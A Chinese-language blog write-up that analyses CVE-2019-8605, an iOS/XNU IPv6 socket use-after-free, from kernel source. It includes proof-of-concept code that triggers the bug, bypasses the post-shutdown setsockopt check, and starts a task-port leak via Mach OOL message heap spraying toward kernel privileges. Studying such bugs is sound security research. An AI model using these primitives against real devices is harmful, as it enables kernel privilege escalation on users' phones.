FROM UAF TO TFP0

2021-03-02 大土豆的菜欄

這篇文章的開始是我看了Ned Williamson的一個漏洞

同時還在PJ0的博客上發了一篇非常非常棒的文章

公告

// https://support.apple.com/en-us/HT210549
Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation
Impact: A malicious application may be able to execute arbitrary code with system privileges
Description: A use after free issue was addressed with improved memory management.
CVE-2019-8605: Ned Williamson working with Google Project Zero

1. 開發層面的Socket

如公告所描述,這是一個存在於Socket中的UAF漏洞

一般搞開發的同學對於Socket更多的是了解到開發層面,比如使用Socket通信,我們從開發層面開始,逐步分析到底層

我們在學習計算機網絡的時候,通過邏輯分層將網絡分為七層,也叫作七層模型

後來又出現了更為符合使用習慣的四層模型

函數socket()的原型如下,一共有三個參數

int socket(int domain, int type, int protocol);

第一個參數domain:協議族,比如AF_INET,AF_INET6

第二個參數type:socket類型,比如SOCK_STREAM,SOCK_DGRAM,SOCK_RAW

#defineSOCK_STREAM1#defineSOCK_DGRAM2#defineSOCK_RAW3#if !defined(_POSIX_C_SOURCE) || defined(_DARWIN_C_SOURCE)#defineSOCK_RDM4#endif#defineSOCK_SEQPACKET5

第三個參數protocol:傳輸協議,比如IPPROTO_TCP,IPPROTO_UDP

創建一個Socket對象的代碼如下

int tcp_sock = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);if (tcp_sock < 0) {    printf("[-] Can't create socket, error %d (%s)\n", errno, strerror(errno));    return -1;}

如果要使用它作為服務端,還需要調用函數bind()綁定本地埠,然後調用函數listen()進行監聽,最後在循環體內調用函數accept()與客戶端建立連接,之後就可以發送數據通信了

關於Socket網絡編程有一份文檔寫的真的很好,牆裂建議閱讀

2. 漏洞源碼分析

用戶態函數disconnectx()

這個函數很難在搜索網站上搜到相關文檔信息,我最後是通過源碼閱讀來理解這個函數調用在Poc裡的作用

__API_AVAILABLE(macosx(10.11), ios(9.0), tvos(9.0), watchos(2.0))int disconnectx(int, sae_associd_t, sae_connid_t);
448 AUE_NULL ALL{ int disconnectx(int s, sae_associd_t aid, sae_connid_t cid); }

通過分發,會調用到這個內核態函數,然後調用位置1的函數disconnectx_nocancel()

intdisconnectx(struct proc *p, struct disconnectx_args *uap, int *retval){    __pthread_testcancel(1);  return (disconnectx_nocancel(p, uap, retval));    }

位置2的函數file_socket()獲取結構體變量so,最後調用位置3的函數sodisconnectx()

static intdisconnectx_nocancel(struct proc *p, struct disconnectx_args *uap, int *retval){#pragma unused(p, retval)  struct socket *so;  int fd = uap->s;  int error;  error = file_socket(fd, &so);      if (error != 0)    return (error);  if (so == NULL) {    error = EBADF;    goto out;  }  error = sodisconnectx(so, uap->aid, uap->cid);    out:  file_drop(fd);  return (error);}

前後調用函數socket_lock()和socket_unlock()用了鎖防條件競爭,然後調用位置4的函數sodisconnectxlocked()

intsodisconnectx(struct socket *so, sae_associd_t aid, sae_connid_t cid){  int error;
socket_lock(so, 1); error = sodisconnectxlocked(so, aid, cid); socket_unlock(so, 1); return (error);}

位置5的*so->so_proto->pr_usrreqs->pru_disconnectx是一個函數

intsodisconnectxlocked(struct socket *so, sae_associd_t aid, sae_connid_t cid){  int error;
error = (*so->so_proto->pr_usrreqs->pru_disconnectx)(so, aid, cid); if (error == 0) { if (so->so_state & (SS_ISDISCONNECTING|SS_ISDISCONNECTED)) sflt_notify(so, sock_evt_disconnected, NULL); } return (error);}

通過結構體初始化賦值的特徵進行搜索,找到對應的實現是函數tcp_usr_disconnectx(),該函數的三個參數就是用戶態傳入的參數,位置6有一個條件判斷,我們只需要令第二個參數為0即可繞過,繞過判斷之後,調用位置7的函數tcp_usr_disconnect()

#define  SAE_ASSOCID_ANY  0#define  SAE_ASSOCID_ALL  ((sae_associd_t)(-1ULL))#define  EINVAL    22    
static inttcp_usr_disconnectx(struct socket *so, sae_associd_t aid, sae_connid_t cid){#pragma unused(cid) if (aid != SAE_ASSOCID_ANY && aid != SAE_ASSOCID_ALL) return (EINVAL);
return (tcp_usr_disconnect(so)); }

函數tcp_usr_disconnect()有兩個宏:COMMON_START()和COMMON_END(PRU_DISCONNECT),COMMON_START()會執行tp = intotcpcb(inp)對變量tp進行賦值,所以業務邏輯上是沒有問題的,然後調用位置8的函數tcp_disconnect()

static inttcp_usr_disconnect(struct socket *so){  int error = 0;  struct inpcb *inp = sotoinpcb(so);  struct tcpcb *tp;
socket_lock_assert_owned(so); COMMON_START(); if (tp == NULL) goto out; tp = tcp_disconnect(tp); COMMON_END(PRU_DISCONNECT);}

函數tcp_disconnect()有一個判斷tp->t_state < TCPS_ESTABLISHED,tp->t_state是Socket狀態,我列舉了部分,因為我們只創建了一個結構體變量socket,並沒有調用函數bind()與函數listen(),所以狀態為TCPS_CLOSED,那麼這裡就應該調用位置9的函數tcp_close()

#define  TCPS_CLOSED    0  #define  TCPS_LISTEN    1  #define  TCPS_SYN_SENT    2  #define  TCPS_SYN_RECEIVED  3  #define  TCPS_ESTABLISHED  4  
static struct tcpcb *tcp_disconnect(struct tcpcb *tp){ struct socket *so = tp->t_inpcb->inp_socket;
if (so->so_rcv.sb_cc != 0 || tp->t_reassqlen != 0) return tcp_drop(tp, 0);
if (tp->t_state < TCPS_ESTABLISHED) tp = tcp_close(tp); else if ((so->so_options & SO_LINGER) && so->so_linger == 0) tp = tcp_drop(tp, 0); else { soisdisconnecting(so); sbflush(&so->so_rcv); tp = tcp_usrclosed(tp);#if MPTCP if ((so->so_flags & SOF_MP_SUBFLOW) && (tp) && (tp->t_mpflags & TMPF_RESET)) return (tp);#endif if (tp) (void) tcp_output(tp); } return (tp);}

想要在用戶態進行狀態判斷可以參照如下代碼

int tcp_sock = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);struct tcp_connection_info info;int len = sizeof(info);getsockopt(tcp_sock, IPPROTO_TCP, TCP_CONNECTION_INFO, &info, (socklen_t *)&len);NSLog(@"%d", info.tcpi_state);

函數tcp_close()實在是太長了,這裡去掉了部分業務邏輯代碼,反正肯定會執行到下面的,此處會判斷協議族,本次漏洞發生在位置10的函數in6_pcbdetach()

struct tcpcb *tcp_close(struct tcpcb *tp){  struct inpcb *inp = tp->t_inpcb;  struct socket *so = inp->inp_socket;    ...
#if INET6 if (SOCK_CHECK_DOM(so, PF_INET6)) in6_pcbdetach(inp); else#endif in_pcbdetach(inp); soisdisconnected(so); tcpstat.tcps_closed++; KERNEL_DEBUG(DBG_FNC_TCP_CLOSE | DBG_FUNC_END, tcpstat.tcps_closed, 0, 0, 0, 0); return (NULL);}

函數in6_pcbdetach()的位置11調用函數ip6_freepcbopts()釋放結構體成員inp->in6p_outputopts,從上下文可以看出來,這裡只進行了釋放操作,並沒有將inp->in6p_outputopts置為NULL,符合UAF的漏洞模型

voidin6_pcbdetach(struct inpcb *inp){  struct socket *so = inp->inp_socket;
if (so->so_pcb == NULL) { panic("%s: inp=%p so=%p proto=%d so_pcb is null!\n", __func__, inp, so, SOCK_PROTO(so)); } if (inp->in6p_sp != NULL) { (void) ipsec6_delete_pcbpolicy(inp); } if (inp->inp_stat != NULL && SOCK_PROTO(so) == IPPROTO_UDP) { if (inp->inp_stat->rxpackets == 0 && inp->inp_stat->txpackets == 0) { INC_ATOMIC_INT64_LIM(net_api_stats.nas_socket_inet6_dgram_no_data); } }
   if (nstat_collect && (SOCK_PROTO(so) == IPPROTO_TCP || SOCK_PROTO(so) == IPPROTO_UDP)) nstat_pcb_detach(inp); if (in_pcb_checkstate(inp, WNT_STOPUSING, 1) != WNT_STOPUSING) { panic("%s: so=%p proto=%d couldn't set to STOPUSING\n", __func__, so, SOCK_PROTO(so)); }
if (!(so->so_flags & SOF_PCBCLEARING)) { struct ip_moptions *imo; struct ip6_moptions *im6o;
inp->inp_vflag = 0; if (inp->in6p_options != NULL) { m_freem(inp->in6p_options); inp->in6p_options = NULL; } ip6_freepcbopts(inp->in6p_outputopts); ROUTE_RELEASE(&inp->in6p_route); if (inp->inp_options != NULL) { (void) m_free(inp->inp_options); inp->inp_options = NULL; } im6o = inp->in6p_moptions; inp->in6p_moptions = NULL;
imo = inp->inp_moptions; inp->inp_moptions = NULL;
sofreelastref(so, 0); inp->inp_state = INPCB_STATE_DEAD; so->so_flags |= SOF_PCBCLEARING;
    inpcb_gc_sched(inp->inp_pcbinfo, INPCB_TIMER_FAST);
if (im6o != NULL || imo != NULL) { socket_unlock(so, 0); if (im6o != NULL) IM6O_REMREF(im6o); if (imo != NULL) IMO_REMREF(imo); socket_lock(so, 0); } }}

跟到這裡我只能說Socket實在是太龐大了!

3. 探索漏洞觸發路徑

從漏洞分析可以看到這個漏洞函數是可以從用戶態進行調用的

448 AUE_NULL ALL{ int disconnectx(int s, sae_associd_t aid, sae_connid_t cid); }

所以最基本的調用代碼如下,調用完函數disconnectx()之後,我們就獲得了一個存在漏洞的結構體變量tcp_sock

int main(int argc, char * argv[]) {    int tcp_sock = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);    disconnectx(tcp_sock, 0, 0);}

我們知道,UAF漏洞的一個關鍵點在於釋放掉的一個指針後續被繼續使用,那我們如何使用一個被關閉後的Socket呢?

Socket有兩個屬性讀寫函數getsockopt()和setsockopt(),兩個函數的原型如下

105 AUE_SETSOCKOPT ALL{ int setsockopt(int s, int level, int name, caddr_t val, socklen_t valsize); } 118 AUE_GETSOCKOPT ALL{ int getsockopt(int s, int level, int name, caddr_t val, socklen_t *avalsize); }

函數setsockopt()的第一個參數是Socket變量,第二個參數有多個選擇,看操作的層級,第三個是操作的選項名,這個選項名跟第二個參數level有關,第四個參數是新選項值的指針,第五個參數是第四個參數的大小

#define IPV6_USE_MIN_MTU 42
int get_minmtu(int sock, int *minmtu) { socklen_t size = sizeof(*minmtu); return getsockopt(sock, IPPROTO_IPV6, IPV6_USE_MIN_MTU, minmtu, &size);}
int main(int argc, char * argv[]) { int tcp_sock = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP); int minmtu = -1; setsockopt(tcp_sock, IPPROTO_IPV6, IPV6_USE_MIN_MTU, &minmtu, sizeof(minmtu));     int mtu; get_minmtu(tcp_sock, &mtu); NSLog(@"%d\n", mtu);}

為什麼第二個參數和第三個參數要設置成IPPROTO_IPV6和IPV6_USE_MIN_MTU?

這就要先來看最開始那個沒有被置為NULL的結構體成員inp->in6p_outputopts了,這個成員的結構體定義如下

struct  ip6_pktopts {  struct  mbuf *ip6po_m;    int  ip6po_hlim;      struct  in6_pktinfo *ip6po_pktinfo;    struct  ip6po_nhinfo ip6po_nhinfo;
struct ip6_hbh *ip6po_hbh; struct ip6_dest *ip6po_dest1; struct ip6po_rhinfo ip6po_rhinfo; struct ip6_dest *ip6po_dest2;
int ip6po_tclass;
  int  ip6po_minmtu;  #define IP6PO_MINMTU_MCASTONLY -1 #define IP6PO_MINMTU_DISABLE 0 #define IP6PO_MINMTU_ALL 1 int ip6po_prefer_tempaddr;
#define IP6PO_TEMPADDR_SYSTEM -1 #define IP6PO_TEMPADDR_NOTPREFER 0 #define IP6PO_TEMPADDR_PREFER 1
int ip6po_flags;#if 0 #define IP6PO_REACHCONF 0x01 #define IP6PO_MINMTU 0x02 #endif#define IP6PO_DONTFRAG 0x04 #define IP6PO_USECOA 0x08 };

無論是set*()還是get*(),最後都肯定是要通過一個case判斷再操作到結構體成員的

源碼搜索IPV6_USE_MIN_MTU,在函數ip6_getpcbopt發現一段符合我們所說特徵的代碼,可見選項IPV6_USE_MIN_MTU操作的結構體成員是ip6_pktopts->ip6po_minmtu

static intip6_setpktopt(int optname, u_char *buf, int len, struct ip6_pktopts *opt,    int sticky, int cmsg, int uproto){  ...  switch (optname) {  ...  case IPV6_USE_MIN_MTU:    if (len != sizeof (int))      return (EINVAL);    minmtupolicy = *(int *)(void *)buf;    if (minmtupolicy != IP6PO_MINMTU_MCASTONLY &&        minmtupolicy != IP6PO_MINMTU_DISABLE &&        minmtupolicy != IP6PO_MINMTU_ALL) {      return (EINVAL);    }    opt->ip6po_minmtu = minmtupolicy;        break;

函數ip6_setpktopts()和函數ip6_pcbopt()都調用到了函數ip6_setpktopt(),但前者的調用邏輯不符合,所以確定調用者是函數ip6_pcbopt

static intip6_pcbopt(int optname, u_char *buf, int len, struct ip6_pktopts **pktopt,    int uproto){  struct ip6_pktopts *opt;
opt = *pktopt; if (opt == NULL) { opt = _MALLOC(sizeof (*opt), M_IP6OPT, M_WAITOK); if (opt == NULL) return (ENOBUFS); ip6_initpktopts(opt); *pktopt = opt; }
return (ip6_setpktopt(optname, buf, len, opt, 1, 0, uproto));}

在函數ip6_ctloutput()裡,當optname為IPV6_USE_MIN_MTU的時候調用函數ip6_pcbopt()

intip6_ctloutput(struct socket *so, struct sockopt *sopt){  ...  if (level == IPPROTO_IPV6) {    boolean_t capture_exthdrstat_in = FALSE;    switch (op) {    case SOPT_SET:      switch (optname) {      ...      case IPV6_TCLASS:      case IPV6_DONTFRAG:      case IPV6_USE_MIN_MTU:      case IPV6_PREFER_TEMPADDR: {        ...        optp = &in6p->in6p_outputopts;        error = ip6_pcbopt(optname, (u_char *)&optval,            sizeof (optval), optp, uproto);        ...        break;      }

函數rip6_ctloutput()做了SOPT_SET和SOPT_GET的判斷,IPV6_USE_MIN_MTU會走default分支調用函數ip6_ctloutput()

intrip6_ctloutput(  struct socket *so,  struct sockopt *sopt){  ...  switch (sopt->sopt_dir) {  case SOPT_GET:  ...  case SOPT_SET:    switch (sopt->sopt_name) {    case IPV6_CHECKSUM:      error = ip6_raw_ctloutput(so, sopt);      break;
case SO_FLUSH: if ((error = sooptcopyin(sopt, &optval, sizeof (optval), sizeof (optval))) != 0) break;
error = inp_flush(sotoinpcb(so), optval); break;
default: error = ip6_ctloutput(so, sopt); break; } break; }
return (error);}

函數rip6_ctloutput()並不是常規的層層調用回去,而是使用結構體賦值的形式進行調用

{ ... .pr_ctloutput = rip6_ctloutput,}

這個也簡單,直接搜索->pr_ctloutput,當level不是SOL_SOCKET的時候,就調用函數rip6_ctloutput()

intsosetoptlock(struct socket *so, struct sockopt *sopt, int dolock){  ...
if ((so->so_state & (SS_CANTRCVMORE | SS_CANTSENDMORE)) == (SS_CANTRCVMORE | SS_CANTSENDMORE) && (so->so_flags & SOF_NPX_SETOPTSHUT) == 0) { error = EINVAL; goto out; }
...
if (sopt->sopt_level != SOL_SOCKET) { if (so->so_proto != NULL && so->so_proto->pr_ctloutput != NULL) { error = (*so->so_proto->pr_ctloutput)(so, sopt); goto out; } error = ENOPROTOOPT; } else {

最後回到最早的調用函數setsockopt()

intsetsockopt(struct proc *p, struct setsockopt_args *uap,    __unused int32_t *retval){  struct socket *so;  struct sockopt sopt;  int error;
AUDIT_ARG(fd, uap->s); if (uap->val == 0 && uap->valsize != 0) return (EFAULT); error = file_socket(uap->s, &so); if (error) return (error);
sopt.sopt_dir = SOPT_SET; sopt.sopt_level = uap->level; sopt.sopt_name = uap->name; sopt.sopt_val = uap->val; sopt.sopt_valsize = uap->valsize; sopt.sopt_p = p;
if (so == NULL) { error = EINVAL; goto out; }#if CONFIG_MACF_SOCKET_SUBSET if ((error = mac_socket_check_setsockopt(kauth_cred_get(), so, &sopt)) != 0) goto out;#endif /* MAC_SOCKET_SUBSET */ error = sosetoptlock(so, &sopt, 1); out: file_drop(uap->s); return (error);}

以上為參數IPPROTO_IPV6和IPV6_USE_MIN_MTU的由來

但記住,現在是Socket還正常存在的情況,如果調用了函數disconnectx()呢?

Socket被關閉了還能操作嗎?

#define IPV6_USE_MIN_MTU 42
int get_minmtu(int sock, int *minmtu) { socklen_t size = sizeof(*minmtu); return getsockopt(sock, IPPROTO_IPV6, IPV6_USE_MIN_MTU, minmtu, &size);}
int main(int argc, char * argv[]) { int tcp_sock = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP); int minmtu = -1; setsockopt(tcp_sock, IPPROTO_IPV6, IPV6_USE_MIN_MTU, &minmtu, sizeof(minmtu)); disconnectx(tcp_sock, 0, 0); int ret = setsockopt(tcp_sock, IPPROTO_IPV6, IPV6_USE_MIN_MTU, &minmtu, sizeof(minmtu)); if (ret) { printf("[-] setsockopt() failed, error %d (%s)\n", errno, strerror(errno)); return -1; }}

顯然是不能的

[-] setsockopt() failed, error 22 (Invalid argument)

因為在函數sosetoptlock()有一個檢查,如果發現Socket已經被關閉,就直接失敗

#define  SS_CANTRCVMORE    0x0020  /* can't receive more data from peer */#define  SS_CANTSENDMORE    0x0010  /* can't send more data to peer */#define  SOF_NPX_SETOPTSHUT  0x00002000 /* Non POSIX extension to allow
intsosetoptlock(struct socket *so, struct sockopt *sopt, int dolock){  ...
if ((so->so_state & (SS_CANTRCVMORE | SS_CANTSENDMORE)) == (SS_CANTRCVMORE | SS_CANTSENDMORE) && (so->so_flags & SOF_NPX_SETOPTSHUT) == 0) { error = EINVAL; goto out; }  ...

理解一下這個檢查,左邊so->so_state只能是SS_CANTRCVMORE與SS_CANTSENDMORE之間任意一種且右邊so->so_flags不能是SOF_NPX_SETOPTSHUT,就會跳到goto out

(so->so_state & (SS_CANTRCVMORE | SS_CANTSENDMORE)) == (SS_CANTRCVMORE | SS_CANTSENDMORE) && (so->so_flags & SOF_NPX_SETOPTSHUT) == 0

但是天無絕人之路,看下面這個宏,允許在關閉Socket之後使用函數setsockopt

#define SONPX_SETOPTSHUT 0x000000001 /* flag for allowing setsockopt after shutdown */

找到這個宏的使用場景,發現是在level為SOL_SOCKET的分支裡,當滿足sonpx.npx_mask和sonpx.npx_flags都為SONPX_SETOPTSHUT時,就會給so->so_flags添加SOF_NPX_SETOPTSHUT標誌位

intsosetoptlock(struct socket *so, struct sockopt *sopt, int dolock){  ...  if (sopt->sopt_level != SOL_SOCKET) {    ...  } else {    ...    switch (sopt->sopt_name) {    ...    case SO_NP_EXTENSIONS: {      struct so_np_extensions sonpx;
error = sooptcopyin(sopt, &sonpx, sizeof (sonpx), sizeof (sonpx)); if (error != 0) goto out; if (sonpx.npx_mask & ~SONPX_MASK_VALID) { error = EINVAL; goto out; } if ((sonpx.npx_mask & SONPX_SETOPTSHUT)) { if ((sonpx.npx_flags & SONPX_SETOPTSHUT)) so->so_flags |= SOF_NPX_SETOPTSHUT; else so->so_flags &= ~SOF_NPX_SETOPTSHUT; } break; }

當so->so_flags擁有SOF_NPX_SETOPTSHUT標誌位,那麼右邊的檢查就不能成立,成功繞過

(so->so_state & (SS_CANTRCVMORE | SS_CANTSENDMORE)) == (SS_CANTRCVMORE | SS_CANTSENDMORE) && (so->so_flags & SOF_NPX_SETOPTSHUT) == 0

此時的代碼如下

int main(int argc, char * argv[]) {    int tcp_sock = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);    int minmtu = -1;    setsockopt(tcp_sock, IPPROTO_IPV6, IPV6_USE_MIN_MTU, &minmtu, sizeof(minmtu));    struct so_np_extensions sonpx = {.npx_flags = SONPX_SETOPTSHUT, .npx_mask = SONPX_SETOPTSHUT};    setsockopt(tcp_sock, SOL_SOCKET, SO_NP_EXTENSIONS, &sonpx, sizeof(sonpx));    disconnectx(tcp_sock, 0, 0);    minmtu = 1;    ret = setsockopt(tcp_sock, IPPROTO_IPV6, IPV6_USE_MIN_MTU, &minmtu, sizeof(minmtu));    if (ret) {        printf("[-] setsockopt() failed, error %d (%s)\n", errno, strerror(errno));        return -1;    }    int mtu;    get_minmtu(tcp_sock, &mtu);    NSLog(@"%d\n", mtu);        return UIApplicationMain(argc, argv, nil, appDelegateClassName);}

相當成功

2021-01-20 00:26:04.136672+0800 CVE-2019-8605-iOS[650:238743] 1

4. 洩露Task Port內核態地址

UAF漏洞常規利用方案是堆噴分配到先前釋放掉的空間,這樣我們擁有的指針指向的空間數據就可控,接下來嘗試洩露一個地址

按照Ned Williamson的思路來分析利用方案,以下的分析順序並非按照Exp的順序進行,大家可自行對照

那麼我們洩露什麼地址呢?

答案是:Task Port

為了解釋說明什麼是Task Port以及獲取Task Port能幹什麼,這裡先介紹XNU的Task

Task是資源的容器,封裝了虛擬地址空間,處理器資源,調度控制等,對應的結構體如下,重點注意其中的IPC structures部分

struct task {    decl_lck_mtx_data(,lock)      _Atomic uint32_t  ref_count;    boolean_t  active;      boolean_t  halting;      uint32_t    vtimers;
vm_map_t map; queue_chain_t tasks; queue_head_t threads;
... decl_lck_mtx_data(,itk_lock_data) struct ipc_port *itk_self; struct ipc_port *itk_nself; struct ipc_port *itk_sself; struct exception_action exc_actions[EXC_TYPES_COUNT]; struct ipc_port *itk_host; struct ipc_port *itk_bootstrap; struct ipc_port *itk_seatbelt; struct ipc_port *itk_gssd; struct ipc_port *itk_debug_control; struct ipc_port *itk_task_access; struct ipc_port *itk_resume; struct ipc_port *itk_registered[TASK_PORT_REGISTER_MAX]; struct ipc_space *itk_space; ...};

簡單來說,Task Port是任務本身的Port,使用mach_task_self或mach_task_self()都可以獲取到它,我可以利用它做很多事情,下面利用代碼中的函數find_port_via_uaf()第一個參數就是通過調用函數mach_task_self()獲取的

洩露Task Port的流程如下

self_port_addr = task_self_addr(); // port leak primitive

這裡還用到了緩存機制

uint64_t task_self_addr() {    static uint64_t cached_task_self_addr = 0;        if (cached_task_self_addr)        return cached_task_self_addr;       else        return find_port_via_uaf(mach_task_self(), MACH_MSG_TYPE_COPY_SEND);}

先獲取一個存在漏洞的Socket,然後填充釋放掉的內存並利用inp->in6p_outputopts讀取數據

uint64_t find_port_via_uaf(mach_port_t port, int disposition) {    int sock = get_socket_with_dangling_options();            ...    close(sock);    return 0;}

這裡不直接填充數據是因為Port在用戶態和內核態表現形式不一樣,我們不能盲目直接把Port填充進去

在用戶態,Port是一個無符號整形

typedef __darwin_mach_port_t mach_port_t;typedef __darwin_mach_port_name_t __darwin_mach_port_t; typedef __darwin_natural_t __darwin_mach_port_name_t; typedef unsigned int__darwin_natural_t;

在內核態,Port可是一個結構體ipc_port

struct ipc_port {    struct ipc_object ip_object;  struct ipc_mqueue ip_messages;
union { struct ipc_space *receiver; struct ipc_port *destination; ipc_port_timestamp_t timestamp; } data;
union { ipc_kobject_t kobject; ipc_importance_task_t imp_task; ipc_port_t sync_inheritor_port; struct knote *sync_inheritor_knote; struct turnstile *sync_inheritor_ts; } kdata;
struct ipc_port *ip_nsrequest; struct ipc_port *ip_pdrequest; struct ipc_port_request *ip_requests; union { struct ipc_kmsg *premsg; struct turnstile *send_turnstile; SLIST_ENTRY(ipc_port) dealloc_elm; } kdata2;
mach_vm_address_t ip_context;
natural_t ip_sprequests:1, ip_spimportant:1, ip_impdonation:1, ip_tempowner:1, ip_guarded:1, ip_strict_guard:1, ip_specialreply:1, ip_sync_link_state:3,       ip_impcount:22;  
mach_port_mscount_t ip_mscount; mach_port_rights_t ip_srights; mach_port_rights_t ip_sorights;
#if MACH_ASSERT#define IP_NSPARES 4#define IP_CALLSTACK_MAX 16 thread_t ip_thread; unsigned long ip_timetrack; uintptr_t ip_callstack[IP_CALLSTACK_MAX]; unsigned long ip_spares[IP_NSPARES]; #endif #if DEVELOPMENT || DEBUG uint8_t ip_srp_lost_link:1, ip_srp_msg_sent:1; #endif};

那怎麼把它的內核態地址分配到inp->in6p_outputopts呢?

答案是:使用OOL Message

OOL Message定義如下,結構體mach_msg_ool_ports_descriptor_t用於在一條消息裡以Port數組的形式發送多個Mach Port

struct ool_msg  {    mach_msg_header_t hdr;    mach_msg_body_t body;    mach_msg_ool_ports_descriptor_t ool_ports;};

為什麼要使用OOL Message作為填充對象,我們可以從源碼中找到答案

Mach Message的接收與發送依賴函數mach_msg()進行,這個函數在用戶態與內核態均有實現

我們跟入函數mach_msg(),函數mach_msg()會調用函數mach_msg_trap(),函數mach_msg_trap()會調用函數mach_msg_overwrite_trap()

mach_msg_return_tmach_msg_trap(  struct mach_msg_overwrite_trap_args *args){  kern_return_t kr;  args->rcv_msg = (mach_vm_address_t)0;
kr = mach_msg_overwrite_trap(args); return kr;}

當函數mach_msg()第二個參數是MACH_SEND_MSG的時候,函數ipc_kmsg_get()用於分配緩衝區並從用戶態拷貝數據到內核態

mach_msg_return_tmach_msg_overwrite_trap(  struct mach_msg_overwrite_trap_args *args){  mach_vm_address_t       msg_addr = args->msg;  mach_msg_option_t       option = args->option;      ...
mach_msg_return_t mr = MACH_MSG_SUCCESS; vm_map_t map = current_map(); option &= MACH_MSG_OPTION_USER;
if (option & MACH_SEND_MSG) { ipc_space_t space = current_space(); ipc_kmsg_t kmsg;      mr = ipc_kmsg_get(msg_addr, send_size, &kmsg);     mr = ipc_kmsg_copyin(kmsg, space, map, override, &option); mr = ipc_kmsg_send(kmsg, option, msg_timeout);  }
if (option & MACH_RCV_MSG) { ... }
return MACH_MSG_SUCCESS;}

函數ipc_kmsg_get(),ipc_kmsg_t就是內核態的消息存儲結構體,拷貝過程看注釋,這裡基本是在處理kmsg->ikm_header,也就是用戶態傳入的消息數據

mach_msg_return_tipc_kmsg_get(  mach_vm_address_t       msg_addr,  mach_msg_size_t size,  ipc_kmsg_t              *kmsgp){  mach_msg_size_t                 msg_and_trailer_size;  ipc_kmsg_t                      kmsg;  mach_msg_max_trailer_t          *trailer;  mach_msg_legacy_base_t      legacy_base;  mach_msg_size_t             len_copied;  legacy_base.body.msgh_descriptor_count = 0;    ...        if (size == sizeof(mach_msg_legacy_header_t)) {    len_copied = sizeof(mach_msg_legacy_header_t);  } else {    len_copied = sizeof(mach_msg_legacy_base_t);  }      if (copyinmsg(msg_addr, (char *)&legacy_base, len_copied)) {    return MACH_SEND_INVALID_DATA;  }    msg_addr += sizeof(legacy_base.header);        msg_and_trailer_size = size + MAX_TRAILER_SIZE;      kmsg = ipc_kmsg_alloc(msg_and_trailer_size);
    ...   if (copyinmsg(msg_addr, (char *)(kmsg->ikm_header + 1), size - (mach_msg_size_t)sizeof(mach_msg_header_t))) { ipc_kmsg_free(kmsg); return MACH_SEND_INVALID_DATA; }   trailer = (mach_msg_max_trailer_t *) ((vm_offset_t)kmsg->ikm_header + size); trailer->msgh_sender = current_thread()->task->sec_token; trailer->msgh_audit = current_thread()->task->audit_token; trailer->msgh_trailer_type = MACH_MSG_TRAILER_FORMAT_0; trailer->msgh_trailer_size = MACH_MSG_TRAILER_MINIMUM_SIZE; trailer->msgh_labels.sender = 0; *kmsgp = kmsg; return MACH_MSG_SUCCESS;}

函數ipc_kmsg_copyin()是我們這裡重點分析的邏輯,整個代碼我刪掉了業務無關的部分,函數ipc_kmsg_copyin_header()跟我們要分析的邏輯無關,主要看函數ipc_kmsg_copyin_body()

mach_msg_return_tipc_kmsg_copyin(  ipc_kmsg_t    kmsg,  ipc_space_t    space,  vm_map_t    map,  mach_msg_priority_t override,  mach_msg_option_t  *optionp){    mach_msg_return_t     mr;    kmsg->ikm_header->msgh_bits &= MACH_MSGH_BITS_USER;    mr = ipc_kmsg_copyin_header(kmsg, space, override, optionp);    if ((kmsg->ikm_header->msgh_bits & MACH_MSGH_BITS_COMPLEX) == 0)      return MACH_MSG_SUCCESS;    mr = ipc_kmsg_copyin_body( kmsg, space, map, optionp);    return mr;}

函數ipc_kmsg_copyin_body()先判斷OOL數據是否滿足條件,並且視情況對內核空間進行調整,最後調用關鍵函數ipc_kmsg_copyin_ool_ports_descriptor()

mach_msg_return_tipc_kmsg_copyin_body(  ipc_kmsg_t  kmsg,  ipc_space_t  space,  vm_map_t    map,  mach_msg_option_t *optionp){    ipc_object_t           dest;    mach_msg_body_t    *body;    mach_msg_descriptor_t  *daddr, *naddr;    mach_msg_descriptor_t  *user_addr, *kern_addr;    mach_msg_type_number_t  dsc_count;      boolean_t       is_task_64bit = (map->max_offset > VM_MAX_ADDRESS);    boolean_t       complex = FALSE;    vm_size_t      space_needed = 0;    vm_offset_t      paddr = 0;    vm_map_copy_t    copy = VM_MAP_COPY_NULL;    mach_msg_type_number_t  i;    mach_msg_return_t    mr = MACH_MSG_SUCCESS;    vm_size_t           descriptor_size = 0;    mach_msg_type_number_t total_ool_port_count = 0;      dest = (ipc_object_t) kmsg->ikm_header->msgh_remote_port;      body = (mach_msg_body_t *) (kmsg->ikm_header + 1);    naddr = (mach_msg_descriptor_t *) (body + 1);      dsc_count = body->msgh_descriptor_count;    if (dsc_count == 0) return MACH_MSG_SUCCESS;
daddr = NULL; for (i = 0; i < dsc_count; i++) { mach_msg_size_t size; mach_msg_type_number_t ool_port_count = 0;
    daddr = naddr; if (is_task_64bit) { switch (daddr->type.type) { case MACH_MSG_OOL_DESCRIPTOR: case MACH_MSG_OOL_VOLATILE_DESCRIPTOR: case MACH_MSG_OOL_PORTS_DESCRIPTOR: descriptor_size += 16; naddr = (typeof(naddr))((vm_offset_t)daddr + 16); break; default: descriptor_size += 12; naddr = (typeof(naddr))((vm_offset_t)daddr + 12); break; } } else { descriptor_size += 12; naddr = (typeof(naddr))((vm_offset_t)daddr + 12); }    }
user_addr = (mach_msg_descriptor_t *)((vm_offset_t)kmsg->ikm_header + sizeof(mach_msg_base_t)); if(descriptor_size != 16*dsc_count) { vm_offset_t dsc_adjust = 16*dsc_count - descriptor_size; memmove((char *)(((vm_offset_t)kmsg->ikm_header) - dsc_adjust), kmsg->ikm_header, sizeof(mach_msg_base_t)); kmsg->ikm_header = (mach_msg_header_t *)((vm_offset_t)kmsg->ikm_header - dsc_adjust); kmsg->ikm_header->msgh_size += (mach_msg_size_t)dsc_adjust; }
kern_addr = (mach_msg_descriptor_t *)((vm_offset_t)kmsg->ikm_header + sizeof(mach_msg_base_t)); for(i = 0; i < dsc_count; i++) { switch (user_addr->type.type) { case MACH_MSG_OOL_PORTS_DESCRIPTOR: user_addr = ipc_kmsg_copyin_ool_ports_descriptor((mach_msg_ool_ports_descriptor_t *)kern_addr, user_addr, is_task_64bit, map, space, dest, kmsg, optionp, &mr); kern_addr++; complex = TRUE; break; } } ...}

